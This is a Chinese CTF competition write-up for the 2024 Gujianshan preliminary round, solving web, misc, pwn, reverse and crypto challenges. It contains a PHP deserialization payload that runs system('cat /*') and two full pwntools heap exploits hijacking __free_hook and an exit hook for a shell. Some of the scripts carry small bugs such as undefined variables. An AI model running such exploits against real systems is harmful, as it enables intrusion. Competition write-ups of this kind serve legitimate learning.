2024古剑山初赛WP
想写一首LoveSong 发表于 山东 CTF 394浏览 · 2024-12-01 12:34

2024古剑山WP

Web

un

能读源码

<?php

error_reporting(0);

class pop
{
    public $aaa;
    public static $bbb = false;

    public function __wakeup()
    {
        // PHP 5.4
        throw new Exception("You're banned to serialize pop!");    
    }

    public function __destruct()
    {
        for ($i=0; $i<2; $i++) {
            if (self::$bbb) {
                $this->aaa[1]($this->aaa[2]);
            } else {
                self::$bbb = call_user_func($this->aaa["object"]);
            }
        }
    }
}


if (isset($_GET["code"])) {
    unserialize(base64_decode($_GET["code"]));
} elseif (isset($_GET["f"])) {
    if(is_string($_GET["f"]) === false){
        echo "The f param must be string";
        exit();
    }
    $user_f = $_GET["f"];
    $regex = "/[ <>?!@#$%&*()+=|\\-\\\\}{:\";'~`,\\/]/";
    if(preg_match($regex, $user_f)){
        echo "The ".$user_f." has been detected by regular expression: ".$regex;
        exit();
    }
    echo file_get_contents($user_f);
}else{
    echo "<a href='/index.php?f=secret'>show me secret!</a>";
}

直接打就行,绕一下wakeup

<?php

error_reporting(0);

class pop
{
    public $aaa;
    public static $bbb = true;

    public function __wakeup()
    {
        // PHP 5.4
        throw new Exception("You're banned to serialize pop!");
    }

    public function __destruct()
    {
        for ($i=0; $i<2; $i++) {
            if (self::$bbb) {
                $this->aaa[1]($this->aaa[2]);
            } else {
                self::$bbb = call_user_func($this->aaa["object"]);
            }
        }
    }
}

$var = new pop();
$var->aaa[1] = "system";
$var->aaa[2] = "cat /*";
$var->aaa["object"]="phpinfo";
echo base64_encode(serialize($a));

Misc

蓝书包(一血)

下载附件,发现很多压缩包,一开始考虑是时间戳隐写,banzip爆破了一下发现有密码

试了试发现有规律

10001
10002
10003

之后GPT搞个脚本

import pyzipper
import os

# 配置文件夹路径
source_folder = r"C:\Users\15747\AppData\Local\Temp\MicrosoftEdgeDownloads\aa788e29-bd40-41e0-b408-0e2393c58c47\069db7f5cb3f400ba9a1eef0ebb78390"
destination_folder = r"C:\Users\15747\AppData\Local\Temp\MicrosoftEdgeDownloads\aa788e29-bd40-41e0-b408-0e2393c58c47\1"


# 解压并处理每个 ZIP 文件
def extract_zip_files(source_folder, destination_folder):
    for file_index in range(1, 183):  # 从 1 到 182 的 zip 文件
        zip_file_path = os.path.join(source_folder, f'{file_index}.zip')
        password = f'1{file_index:04d}'  # 根据文件索引生成密码,如 10001, 10002, ..., 10182

        print(f"处理文件 {zip_file_path} 使用密码 {password}")

        try:
            # 使用 pyzipper 打开并解压文件
            with pyzipper.AESZipFile(zip_file_path) as zip_file:
                zip_file.setpassword(password.encode())  # 设置密码
                zip_file.extractall(destination_folder)  # 解压到目标文件夹
            print(f"解压成功: {zip_file_path}")

        except Exception as e:
            print(f"解压失败: {zip_file_path}, 错误: {e}")


# 调用函数进行解压操作
extract_zip_files(source_folder, destination_folder)

之后发现有PNG头,拼接一下

import os

# 配置文件夹路径
source_folder = r"E:\Documents\WeChat Files\wxid_z1ez13mhhho722\FileStorage\File\2024-11\ouy"
output_file_path = r"E:\Documents\WeChat Files\wxid_z1ez13mhhho722\FileStorage\File\2024-11\ouy\1.png"

# 函数:生成从 'aa' 到 'gz' 的文件名列表
def generate_file_names():
    file_names = []
    for first_char in range(26):  # A-Z
        for second_char in range(26):  # A-Z
            # 生成文件名,如 'saa', 'sab', ..., 'sgz'
            file_names.append(f's{chr(97 + first_char)}{chr(97 + second_char)}.png')
    return file_names

# 获取所有需要拼接的文件名
file_names_to_concatenate = generate_file_names()

# 拼接文件(以二进制模式)
def concatenate_files(file_names, source_folder, output_file_path):
    with open(output_file_path, 'wb') as output_file:
        for file_name in file_names:
            file_path = os.path.join(source_folder, file_name)
            try:
                # 以二进制模式打开每个文件并将其内容写入输出文件
                with open(file_path, 'rb') as file_to_concatenate:
                    output_file.write(file_to_concatenate.read())  # 写入文件内容
                print(f'{file_name} 拼接成功')
            except Exception as e:
                print(f'拼接 {file_name} 时出错: {e}')

# 调用函数进行文件拼接
concatenate_files(file_names_to_concatenate, source_folder, output_file_path)

得到一个png,之后猜测cloacked-pixel爆破

jpg

附件一个加密压缩包,winhex看了一下发现伪加密,工具修一下

得到一个flag.pdf,winhex看了一下里面有一个图片,PS打开得到一个二维码

得到一个sha256,AR做一下明文攻击

得到flag.txt

Pwn

mis

一开始发现没有uaf还挺头疼的

但是发现可以进行堆溢出,修改了chunk1的size发现可以重叠泄露libc

劫持free_hook为system即可

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
fn='./pwn'
libc=ELF('./libc.so.6')
eir = 0
if eir == 1:
    p=remote("",)
elif eir == 0:
    p=process(fn)
elf=ELF(fn)
def open_gdb_terminal():
    pid = p.pid
    gdb_cmd = f"gdb -ex 'attach {pid}' -ex 'set height 0' -ex 'set width 0'"
    subprocess.Popen(["gnome-terminal", "--geometry=120x64+0+0", "--", "bash", "-c", f"{gdb_cmd}; exec bash"])
def dbg():
    open_gdb_terminal()
    pause()
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ita = lambda : p.interactive()
l64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
pt = lambda s : print("leak----->",hex(s))
def menu(idx):
    sa("4.show",str(idx))
def add(idx,cnt):
    menu(1)
    sa("Input index: ",str(idx))
    sa("Input size: ",str(0xf0))
    sa("Input note: ",cnt)
def dele(idx):
    menu(2)
    sa("Input index: ",str(idx))
def show(index):
    menu(4)
    sa("Input index: ",str(index))
def edit(idx,cnt):
    menu(3)
    sa("Input index: ",str(idx))
    sa("Input note: ",cnt)
add(0,b'a'*0x30)
add(1,b'a'*0x30)
add(2,b'a'*0xf0)
add(3,b'a'*0xf0)
add(4,b'a'*0xf0)
add(5,b'a'*0xf0)
add(6,b'/bin/sh\x00')
edit(0,b'b'*0x38+p64(0x441))
dele(1)
add(1,b'a'*0x38)
show(2)
libc_leak=l64()
pt(libc_leak)
libc_base=libc_leak-0x3ebca0
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
ogs=[0x4f35e,0x4f365,0x4f3c2,0x10a45c]
og=libc_base+ogs[0]
add(0,b'a'*0x30)
add(1,b'b'*0x30)
add(2,b'c'*0x30)
add(3,b'd'*0x30)
add(4,b'e'*0xf0)
add(5,b'f'*0xf0)
dele(1)
dele(3)
edit(2,b'z'*0x38+p64(0x41)+p64(free_hook))
add(6,b'/bin/sh\x00')
add(7,b'a'*0x30)
add(8,b'a'*0x30)
edit(7,p64(system))
edit(8,p64(system))
dele(6)

ita()

in

最近见了好多这样的题,利用stdout泄露libc即可

from pwn import *
context.log_level='debug'
context(os='linux', arch='amd64')
p = process('./pwn')
libc = ELF('./libc-2.23.so')
elf = ELF('./pwn')

#p.recv()
p.recvuntil(b"Size:\n")
p.sendline(str(0x5e6611))
p.recvuntil(b"Size:\n")
p.sendline(str(0x220000))
p.recv()
p.send(b"\x18")
p.send(b"\x20")
libc_base = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) - (0x7fbf86558640-0x7fbf86193000)
print("libc_base = " + hex(libc_base))
ogs = [0x45216,0x4526a,0xf02a4,0xf1147]
og = libc_base + one_gadgets[3]
ogg = p64(og)[:3]
exit_hook = libc_base + 0x5f0040+3848
p.recvuntil(b"!\n")
p.sendline(p64(exit_hook))
p.send(ogg)
p.interactive()

Re

re

DIE看没壳,IDA反编译发现有问题,winhex发现进行魔改壳了

直接debug

找到主程序逻辑了,但是一直dump不出来,

从网上搜到原题

[re]无需脱壳dump内存来静态分析_ida vmp分析-CSDN博客

直接交文章中的flag就行

India Pale Ale

添加后缀zip,之后解压缩,把

EasyIOS拖到IDA里就能正常分析了

换表base+rc4

key是SimpleKeyHere异或0xa5

import base64
from Crypto.Cipher import ARC4

table1 = "NF01ihUKST9q3lnjEBs47k2w5ad+AVHfPezg/CDyxrMLR6GvomIQJOXcpW8ZbutY="
table2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
data = [
    -24, -24, -60, -54, -95, -46, -45, -3, -96, -96, -63, -7,
    -87, -40, -3, -22, -36, -47, -32, -62, -59, -88, -90, -31,
    -24, -45, -9, -43, -91, -60, -13, -40, -55, -95, -34, -46,
    -27, -25, -33, -9, -32, -40, -32, -41
]
result = []
for x in data:
    result.append((x & 0xFF) ^ 0x90)
c = bytes(result)
c = c.decode()
print(c)
translation_table = str.maketrans(table1, table2)
transformed = c.translate(translation_table)
decoded_flag = base64.b64decode(transformed)
key = b"SimpleKeyHere"
key_bytes = []
for x in key:
    key_bytes.append(x ^ 0xA5)
key_bytes = bytes(key_bytes)
cipher = ARC4.new(key_bytes)
flag = cipher.decrypt(decoded_flag)
print(flag)
b'flag{45_4_105_r3v3r51n6_b361nn3r}'

Crypto

cs

一开始考虑的是进制,后来转了一下没啥想法,进行2、2分组,发现只有两种组合,j后面跟一个数字,k后面跟一个数字

之后做位移,发现要不就是偏移2要不就是12

jh => f
jn => l
jc => a
ji => g

依次类推,得到

flagathisisrealflagc

猜测把a和c改为{}

flag{thisisrealflag}
0 条评论
某人
表情
可输入 255